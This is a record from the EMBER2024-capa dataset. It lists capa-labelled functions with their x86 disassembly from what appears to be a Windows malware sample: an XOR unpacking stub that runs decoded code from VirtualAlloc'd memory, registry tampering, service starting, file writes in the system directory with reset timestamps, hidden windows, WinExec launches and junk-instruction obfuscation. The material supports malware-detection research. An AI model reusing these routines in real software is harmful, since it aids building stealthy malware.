joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x408160
pop dword [ebp - 0x40]
mov eax, 0x408160
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x41551
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x562e
mov esi, eax
mov edi, 0x6135191d
add edi, 0x9f0e3ae3
add edi, dword [ebp - 0x40]
mov edx, 0x5231d39a
add edx, 0x12d6eb07
add dword [ebp - 0x20], 0x5e0abbf1
mov ebx, dword [edi]
sub dword [ebp - 0x2c], 0xb4860df9
sub ebx, edx
xor dword [ebp - 0x20], 0x9b6fde02
mov dword [esi], ebx
sub dword [ebp - 0x10], edi
add esi, 4
add edi, 4
loop 0x4081af
add eax, 0x80abe74d
add eax, 0x7f55643e
mov ebx, eax
add eax, 5
mov ecx, 0xf5b03ccf
add ecx, 0xa8fc331
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4011a0
Capabilities:
Delete registry key
Set registry value

Disassembly:
sub esp, 0x114
xor ecx, ecx
xor al, al
mov dword [esp + 1], ecx
push esi
mov dword [esp + 9], ecx
push edi
mov dword [esp + 0x11], ecx
mov byte [esp + 8], al
mov word [esp + 0x15], cx
mov byte [esp + 0x18], al
mov byte [esp + 0x17], cl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00402cb0
lea edx, [esp + 8]
push 5
push edx
call fcn.00401540
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push 0x406338
push ecx
call edi
add esp, 0xc
push 0x40637c
push 0x80000000
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea edx, [esp + 8]
push 0x10
push edx
push 1
push 0x41c984
push 0x40637c
push 0x80000000
call esi
push 0x4b
push 0x4063b0
push 1
lea eax, [esp + 0x24]
push 0x41c984
push eax
push 0x80000000
call esi
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push 0x4063fc
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x18]
push 0x14
push 0x406440
push 1
push 0x406438
push eax
push 0x80000000
call esi
pop edi
pop esi
add esp, 0x114
ret

Function at 0x401290
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], esi
stosb byte es:[edi], al
jle 0x4012ca
push si
pop si
jg 0x4012ca
call fcn.00402cb0
push ecx
push edx
sub ecx, eax
test esi, ecx
xor cl, ch
cmp dh, 0x74
or ch, 0x3d
cmp dl, bl
test ecx, 0x5962
or cx, bx
or edx, eax
cmp ch, cl
pop edx
pop ecx
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov dword [ebp - 4], esi
call fcn.004034d0
mov esi, eax
call fcn.004034d0
mov edi, eax
call fcn.004034d0
push esi
mov esi, dword [ebp + 0x10]
push esi
mov ebx, eax
call fcn.00401540
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00401540
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.00401540
add esp, 0x18
lea ecx, [ebp - 0x10c]
lea edx, [ebp - 0x314]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
push 0x406040
push edx
call esi
lea eax, [ebp - 0x314]
push eax
call fcn.00402cf0
add esp, 0x14
test eax, eax
je 0x4013ba
lea ecx, [ebp - 0x10c]
push edi
push ecx
lea edx, [ebp - 0x210]
push 0x40604c
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00402cf0
add esp, 0x14
test eax, eax
je 0x4013ba
lea ecx, [ebp - 0x10c]
push ebx
push ecx
lea edx, [ebp - 0x210]
push 0x40604c
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00402cf0
add esp, 0x14
test eax, eax
jne 0x4013cf
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x401303
mov esi, dword [ebp - 8]
jmp 0x4013d4
mov esi, 1
mov ecx, dword [ebp + 0x14]
push 4
push ecx
call fcn.00401540
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x14]
push ebx
push esi
push edi
lea ecx, [eax + eax]
mov dword [ebp - 8], 0
test eax, eax
mov dword [ebp - 0x10], ecx
jle 0x4019ff
mov dword [ebp - 0xc], 1
pushal
test cx, ax
inc ax
popal
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0x10]
mov cl, byte [edx + eax]
mov byte [ebp - 1], cl
push di
push eax
push ecx
test dl, cl
and di, 0x377
cmp ecx, 0x5354
pop ecx
pop eax
pop di
mov eax, dword [ebp - 0xc]
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov cl, byte [edx + eax]
mov byte [ebp - 2], cl
pushal
test cx, ax
inc ax
popal
pushal
sub dl, 0x33
and dh, 0x12
popal
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
lea eax, [esi - 1]
cdq
idiv dword [ebp + 0xc]
mov al, byte [ebp - 1]
xor al, byte [edx + ecx]
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
mov dl, byte [ebp - 0x10]
mov ecx, dword [ebp + 0x18]
mov bl, dl
xor bl, al
mov byte [ecx + esi - 1], bl
push eax
xor ax, bx
pop eax
mov bl, byte [ebp - 2]
mov eax, dword [ebp - 8]
xor dl, bl
inc eax
mov byte [esi + ecx], dl
mov ecx, dword [ebp + 0x14]
add esi, 2
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esi
jl 0x401938
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4023a0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ecx
push esi
and ecx, 0x4ed
dec esi
xor ecx, 0x19e7
add si, 0x438f
xor cx, 0x2688
add ch, dh
test ch, 0x5b
pop esi
pop ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4023e2
pop edi
pop esi
pop ebp
ret
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x402434
mov edi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call edi
cmp eax, 0x420
je 0x402434
call edi
cmp eax, 0x422
je 0x402434
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x402480
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x618
xor eax, eax
push ebp
mov dword [esp + 5], eax
push esi
mov dword [esp + 0xd], eax
push edi
mov dword [esp + 0x15], eax
mov ecx, 0xff
mov word [esp + 0x19], ax
lea edi, [esp + 0x225]
mov byte [esp + 0x1b], al
mov byte [esp + 0x224], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x406464
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x224]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x228]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [esp + 0x10], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x228]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x406480
mov byte [esp + ecx + 0x228], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x124]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
push 5
push ecx
call fcn.00401540
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x120]
lea ecx, [esp + 0x1c]
push edx
push eax
push 0x406458
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x234]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x234]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea eax, [esp + 0x34]
push 0x406454
push eax
call fcn.004029e0
add esp, 0x20
test eax, eax
pop edi
pop esi
pop ebp
jne 0x4025a7
add esp, 0x618
ret
lea ecx, [esp + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, 1
add esp, 0x618
ret
Function at 0x4025c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
push dx
push di
cmp bh, dh
dec di
pop di
pop dx
pop ebx
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x406040
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00403890
add esp, 8
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
mov eax, dword [ebp - 4]
push eax
call fcn.00402710
jo 0x4026a8
push cx
mov ch, 0xe0
pop cx
jno 0x4026a8
mov esp, 0x1e26fa6d
invalid
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x406060
push eax
call fcn.004029e0
add esp, 0x14
test eax, eax
jne 0x4026ce
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
jl 0x4026e9
push edi
mov edi, 0x513b465
pop edi
jge 0x4026e9
sbb dl, bl
pop ss
push es
mov dl, 0xf4
dec esi
or edi, ebp
stosb byte es:[edi], al
sub dl, dl
aad 0x79
jb 0x4026ee
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00402a60
add esp, 4
mov eax, 1
pop edi
pop ebx
call dword [ecx - 0x18]
imul eax, dword [ebx], 0
add byte [ebx + 0x1b804c4], al
add byte [eax], al
add byte [edi + 0x5b], bl
mov esp, ebp
pop ebp
ret
Function at 0x402710
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jle 0x402729
jg 0x402729
inc ebx
xor byte [eax - 0x74c625aa], cl
jne 0x402734
mov esi, dword [ebp + 8]
cmp word [esi], 0x5a4d
je 0x40273c
xor eax, eax
pop edi
pop esi
pop ebx
rcr byte [edi + 0x5e], 0x5b
mov esp, ebp
pop ebp
ret
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
mov eax, dword [esi + 0x3c]
add eax, esi
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
cmp dword [eax], 0x4550
je 0x402796
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
or di, 0x74e3
sub di, ax
cmp di, dx
and edi, 0x25ec
and di, 0x51b8
or di, di
pop edi
mov ecx, dword [eax + 0x58]
test ecx, ecx
je 0x4027c1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, pe_nt_image_headers32
jle 0x4027d2
push si
mov si, 0xf280
pop si
jg 0x4027d2
jle 0x4027de
push si
mov si, 0xf280
pop si
jg 0x4027de
cmp dword [esi + 0x3c], 0x80
ja 0x4027f0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
xor ax, bx
pop eax
mov esi, dword [esi + 0x3c]
cmp esi, 0xc0
jae 0x402803
lea edi, [esi - 0x80]
jl 0x40281e
push edi
mov edi, 0x513b465
pop edi
jge 0x40281e
sbb dl, bl
pop ss
push es
mov dl, 0xf4
dec esi
or edi, ebp
stosb byte es:[edi], al
sub dl, dl
aad 0x79
jb 0x402823
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
add esp, 4
add byte [ebx + 0x4c483d0], cl
test edx, edx
mov dword [ebp - 4], edx
jne 0x402837
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
xor esi, esi
test edi, edi
jbe 0x40287b
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
jp 0x402863
push si
pop si
jnp 0x402863
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x402855
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx - 1], eax
rcr dword [ecx + 0xffb9], cl
add bh, dh
stc
call ebx
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 4]
inc esi
cmp esi, edi
mov byte [esi + eax - 1], dl
jb 0x40284c
mov edx, eax
js 0x40288c
push eax
mov eax, 0xc7766751
pop eax
jns 0x40288c
cmpsd dword [esi], dword es:[edi]
fstp qword [edi + 0x18]
pop ds
cmpsb byte [esi], byte es:[edi]
mov eax, dword [ebp + 8]
mov ecx, edi
mov esi, edx
lea edi, [eax + 0x80]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
js 0x4028b7
mov edx, edx
jns 0x4028b7
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [edx - 0x18], edx
push ebx
sbb al, 0
add byte [ebx + 0x1b804c4], al
add byte [eax], al
add byte [edi + 0x5e], bl
push edx
call 0x404510
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402970
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
add byte [edx], ch
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x41c984
push 0x406010
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x4029a8
pop ebp
ret
jb 0x4029cd
push di
mov di, 0x4fff
pop di
jae 0x4029cd
fdiv dword [esi + 0x6f]
cmp esp, dword [eax]
inc eax
push 0xb7f8c08b
ja 0x40297a
inc ecx
invalid
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret

Function at 0x4029e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push ebx
push esi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x402a00
pop esi
pop ebx
pop ebp
ret
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push eax
push bx
test ax, 0x826
sub bl, 0x12
test bx, 0x3c13
test ah, 0x56
cmp bx, dx
pop bx
pop eax
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop esi
pop ebx
pop ebp
ret
Function at 0x402a60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x22b]
mov byte [ebp - 0x22c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x127]
mov byte [ebp - 0x128], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x22c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push ebx
test bl, 0x4d
pop ebx
lea edi, [ebp - 0x22c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push edx
test bl, 0x3e
sub dh, cl
mov dh, ah
pop edx
pop ebx
mov edi, 0x406064
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jb 0x402b32
mov di, di
nop
nop
nop
jae 0x402b32
loope 0x402b08
lodsd eax, dword [esi]
mov dword [edi], esi
cdq
mov eax, dword [0x9750e2b5]
mov esi, 0x8db8ec44
inc ebp
fmul qword [ebp - 0x12773]
call dword [eax + 0x6a]
add byte [ecx - 1], dl
adc eax, sym.imp.KERNEL32.DLL_GetFileAttributesExA
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x128]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesExA]
mov edx, dword [ebp + 8]
push edx
call fcn.00402c70
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
jne 0x402b61
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x20]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f60
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
xor edx, edx
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x267]
mov byte [ebp - 0x268], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x163]
mov byte [ebp - 0x164], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
mov ebx, 1
cmp eax, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], ebx
je 0x402fb9
mov dword [ebp - 0x10], ebx
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
lea eax, [ebp - 0x164]
push 0x4060a8
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x268]
push esi
push 0x4060c0
push ecx
call edi
lea eax, [ebp - 0x164]
lea ecx, [ebp - 8]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
lea edi, [ebp - 0x164]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov dword [ebp - 0x24], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov edx, 4
dec ecx
mov dword [ebp - 0x38], 0x4060e8
mov dword [ebp - 0x34], 0x4060f4
mov dword [ebp - 0x30], 0x406100
mov dword [ebp - 0x2c], 0x406110
mov dword [ebp - 0x28], 0x406118
mov dword [ebp - 0x60], 2
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
mov eax, dword [ebp - 0x10]
cmp eax, 5
jae 0x4030cd
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea esi, [eax*4]
mov edx, dword [ebp + esi - 0x24]
mov eax, dword [ebp + esi - 0x4c]
mov ecx, dword [ebp + esi - 0x60]
push edx
mov edx, dword [ebp + esi - 0x38]
push eax
push ecx
lea eax, [ebp - 0x268]
push edx
push eax
push 0x80000002
call edi
test eax, eax
jne 0x4030d9
add esi, 4
cmp esi, 0x14
jb 0x40309f
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4030f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
je 0x403149
jne 0x403149
inc ebx
jbe 0x40318e
aaa
sub dword [eax + 0x2a], ebx
inc esi
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push esi
push ecx
lea edx, [ebp - 0x110]
push 0x40604c
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push bx
push edx
push edi
or dh, dh
xor bx, cx
pop edi
pop edx
pop bx
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.00403b90
jle 0x4031a7
jg 0x4031a7
inc ebx
xor byte [eax - 0x74c625aa], cl
push ebp
clc
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
push edx
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
push esi
call fcn.004017b0
add esp, 0x20
test eax, eax
jne 0x4031cf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
js 0x4031e4
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x4031e4
adc eax, 0xf84d8b2f
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x110]
push 0x406060
push eax
call fcn.004029e0
add esp, 0x10
test eax, eax
jne 0x40320b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
sub dl, 0x33
and dh, 0x12
popal
lea ecx, [ebp - 0x110]
push ecx
call fcn.00402a60
add esp, 4
pushal
test cx, ax
inc ax
popal
push ecx
push edi
push ax
test di, 0x934
test edi, 0x48bd
and edi, eax
and ch, 0xb
cmp cl, 0x6f
mov cl, 0xc
sub di, 0x5090
test cx, di
pop ax
pop edi
pop ecx
call fcn.004041d0
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
push 0x406084
call fcn.00403980
add esp, 4
cmp eax, 0xffffffff
je 0x403283
mov esi, 0xe
jmp 0x40329a
push 0x406078
call fcn.00403980
add esp, 4
cmp eax, 0xffffffff
je 0x4032ce
mov esi, 0xf
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push edx
push edi
call fcn.00403500
add esp, 8
test eax, eax
je 0x4032d1
push esi
call fcn.00402450
push esi
call fcn.00403c00
add esp, 8
call fcn.00402480
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 8]
je 0x4032e2
push cx
mov cl, 0x54
pop cx
jne 0x4032e2
push ss
pop edi
push 0x47
test eax, 0x858d18c5
invalid
lea eax, [ebp - 0x110]
push eax
push edi
call fcn.004015b0
add esp, 8
test eax, eax
jne 0x4032fa
xor esi, esi
jmp 0x4032fd
mov esi, dword [ebp - 0xc]
push eax
push dx
inc eax
pop dx
pop eax
test esi, esi
je 0x40331a
push edi
call fcn.00402f00
add esp, 4
test eax, eax
jne 0x40331a
mov dword [ebp - 0xc], eax
mov esi, eax
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
test esi, esi
jne 0x403342
Function at 0x403390
Capabilities:
Create process on windows

Disassembly:
div byte [ebp + 0xf]
push esi
push edi
call fcn.00402f60
add esp, 8
mov dword [ebp - 0xc], eax
mov esi, eax
push ebx
cmp ebx, esi
sub ebx, 0x6895
sub ebx, 0x50e0
mov bx, 0x26ca
xor bl, al
pop ebx
test esi, esi
je 0x403366
push 0xffffffffffffffff
call fcn.00403c00
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0x406098
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x40602c
call fcn.00402c70
add esp, 4
cmp eax, 0xffffffff
je 0x4033c1
jle 0x4033b4
mov ax, ax
mov cx, cx
jg 0x4033b4
aaa
jecxz 0x403330
hlt
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
ret
xor eax, eax
ret

Function at 0x403530
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
lea eax, [ebp - 0x94]
push edi
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
cmp dword [ebp - 0x90], 5
jne 0x403571
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test cx, ax
inc ax
popal
cmp dword [ebp - 0x90], 6
jne 0x403597
mov eax, dword [ebp - 0x8c]
test eax, eax
jne 0x403597
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret